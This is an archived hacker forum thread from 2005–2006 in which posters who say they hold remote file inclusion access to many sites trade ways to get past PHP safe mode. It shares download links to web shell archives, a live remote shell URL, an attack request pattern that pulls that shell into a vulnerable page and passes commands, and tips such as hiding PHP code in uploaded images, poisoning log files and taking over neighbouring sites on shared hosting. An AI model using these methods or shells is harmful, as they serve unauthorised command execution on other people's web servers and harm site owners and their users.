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www.waraxe.us Forum Index -> Remote file inclusion -> Safemode in PHP Goto page 1, 2  Next
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Safemode in PHP
PostPosted: Thu Mar 17, 2005 8:07 pm Reply with quote
zer0-c00l
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Joined: Jun 25, 2004
Posts: 72
Location: BRAZIL!




Hi there...

i got many sites with remote file inclusion and has safemode in PHP...

somebody knows how to 'bypass' or other method to execute commands with safemode enabled?
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Re: Safemode in PHP
PostPosted: Fri Mar 18, 2005 7:47 am Reply with quote
LINUX
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Joined: May 24, 2004
Posts: 404
Location: Caiman




zer0-c00l wrote:
Hi there...

i got many sites with remote file inclusion and has safemode in PHP...

somebody knows how to 'bypass' or other method to execute commands with safemode enabled?


yes here http://www.sosvulnerable.net/waraxe/php-shells.rar by pass safemode tool25 you need configure therules for fullpath you victim


and upload all files click in list on and safemode OWNED
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PostPosted: Fri Mar 18, 2005 8:25 pm Reply with quote
zer0-c00l
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Joined: Jun 25, 2004
Posts: 72
Location: BRAZIL!




there is a lot of files into the .rar :S

can u tell me what i have to do to use?

maybe an example?

thanks Very Happy
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PostPosted: Sat Mar 19, 2005 1:06 pm Reply with quote
y3dips
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Joined: Feb 25, 2005
Posts: 281
Location: Indonesia




zer0-c00l wrote:
there is a lot of files into the .rar :S

can u tell me what i have to do to use?

maybe an example?

thanks Very Happy


Read d manual
it wroten clearly there

---//snip---
file :readme.txt

Php shells for use remote and local for local rename*.php - for remote rename *.svs not php Smile (svs = sosvulnerable security) xD
----\\snip

_________________
IO::y3dips->new(http://clog.ammar.web.id);
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PostPosted: Sat Apr 02, 2005 4:37 pm Reply with quote
yame
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Joined: Apr 02, 2005
Posts: 1




hey,

I get this a lot of times while testing a remote file inclusion bug ( I even used the tool25.doc error.php?dir=..../tool25.doc?&cmd=uname%20-a )
Quote:

Warning: main(): URL file-access is disabled in the server configuration in /home/.../error.php on line 1


is this also because of Safemode, or is it something else?
how can someone bypass this?

regards
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PostPosted: Sat Apr 02, 2005 6:50 pm Reply with quote
murdock
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Joined: Mar 16, 2005
Posts: 54




Perhaps it has the option "allow_url_fopen" disabled in php.ini!
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PostPosted: Sun Apr 03, 2005 10:14 am Reply with quote
y3dips
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Joined: Feb 25, 2005
Posts: 281
Location: Indonesia




yame wrote:
hey,

I get this a lot of times while testing a remote file inclusion bug ( I even used the tool25.doc error.php?dir=..../tool25.doc?&cmd=uname%20-a )
Quote:

Warning: main(): URL file-access is disabled in the server configuration in /home/.../error.php on line 1


is this also because of Safemode, or is it something else?
how can someone bypass this?

regards


SAFEMODE restrict this function :
dbmopen()
dbase_open()
filepro()
filepro_rowcount()
filepro_retrieve()
ifx_*()
ingres_*()
mysql_*()
pg_loimport()
posix_mkfifo()
putenv()
move_uploaded_file()
chdir()
dl()
shell_exec()
exec()
system()
passthru()
popen()
mkdir()
rmdir()
rename()
unlink()
copy()
chgrp()
chown()
chmod()
touch()
symlink()
link()
getallheaders()
header()
PHP_AUTH variables
highlight_file()
Show_source()
parse_ini_file()
set_time_limit()
max_execution_time

... for more info read php manual
i suggest u to read .chm form

_________________
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PostPosted: Sun Apr 03, 2005 1:13 pm Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




yame wrote:
hey,

I get this a lot of times while testing a remote file inclusion bug ( I even used the tool25.doc error.php?dir=..../tool25.doc?&cmd=uname%20-a )
Quote:

Warning: main(): URL file-access is disabled in the server configuration in /home/.../error.php on line 1


is this also because of Safemode, or is it something else?
how can someone bypass this?

regards


Like murdock allready mentioned, it is the "allow_url_fopen" setting in php.ini, which will restrict remote inclusion possibilities, not the safe mode. So what to do and how to bypass? Some possible choices:

1. Using local files, for example some log files (if you can inject there php code)
2. if the server is virtual server and there is many webistes on same ip address (most of the hosting works that way), you can try take over some other site on same server and then use directory traversal between virtual site root directories.
3. pictures upload - all the image galleries and avatars and stuff - there is possibility to craft some valid jpg/gif/png/bmp picture, which will pass through all the checking routines and still it will contain some php code inside Smile I have tested this on my local server and seems, that php parser is very sensitive about this kind of php code inclusion. But try to experiment with hex editor and finally it will work Wink
4. test apache/iis server directories against "PUT" http method.
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PostPosted: Sun Apr 03, 2005 4:13 pm Reply with quote
LINUX
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Joined: May 24, 2004
Posts: 404
Location: Caiman




ok new url for use shell bypassed safemode and other

only remote inclusion if you need local download shell in my site

Code:
http://qwqw.altervista.org/tool25.dat?cmd=


example
http://www.noob.com/vuln.php?=http://qwqw.altervista.org/tool25.dat?cmd=
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PostPosted: Sun Apr 03, 2005 9:33 pm Reply with quote
sp3x
Valuable expert
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Joined: Feb 15, 2005
Posts: 10




i think this script that you gave LINUX and the link now
http://qwqw.altervista.org/tool25.dat?cmd=
dont bypass safemode because is missing the file safe25.dat
this file is needed to bypass safemode
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PostPosted: Mon Apr 04, 2005 6:08 am Reply with quote
LINUX
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Joined: May 24, 2004
Posts: 404
Location: Caiman




sp3x wrote:
i think this script that you gave LINUX and the link now
http://qwqw.altervista.org/tool25.dat?cmd=
dont bypass safemode because is missing the file safe25.dat
this file is needed to bypass safemode



yes is correct , if you like download full shell and reconfigure Cool

www.sosvulnerable.net/waraxe/php-shells.rar
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PostPosted: Thu Mar 23, 2006 1:07 pm Reply with quote
Classics
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Joined: Mar 23, 2006
Posts: 6
Location: Nederland/Venlo




Hi

i have the self Problems to , i use C99 Shell and RuSH Shell !

This Shell are very mighty , but not incredibly enough.

Please Upload your safemod tool new , the old links is 404 not found.


Thank you Laughing
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PostPosted: Thu Mar 23, 2006 1:10 pm Reply with quote
waraxe
Site admin
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Classics wrote:
Hi

i have the self Problems to , i use C99 Shell and RuSH Shell !

This Shell are very mighty , but not incredibly enough.

Please Upload your safemod tool new , the old links is 404 not found.


Thank you Laughing


Linux has changed his domain, here is new url:

http://www.securityhead.com/waraxe/php-shells.rar

Wink
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Re: Safemode in PHP
PostPosted: Thu Apr 20, 2006 5:31 am Reply with quote
daemon_azazel
Regular user
Regular user
 
Joined: Apr 16, 2006
Posts: 17




LINUX wrote:
by pass safemode tool25 you need configure therules for fullpath you victim


and upload all files click in list on and safemode OWNED


have re-configured and uploaded on linux server with safemode on
and with open basedir restrictions on all other folders and the tool
did not worked - it wasn't able to execute any command and list
anything.
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PostPosted: Sun Apr 23, 2006 7:40 pm Reply with quote
outlawsys
Regular user
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Joined: Jun 11, 2005
Posts: 12




You can bypass safemod with an .cgi script so you can execute command.
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Safemode in PHP
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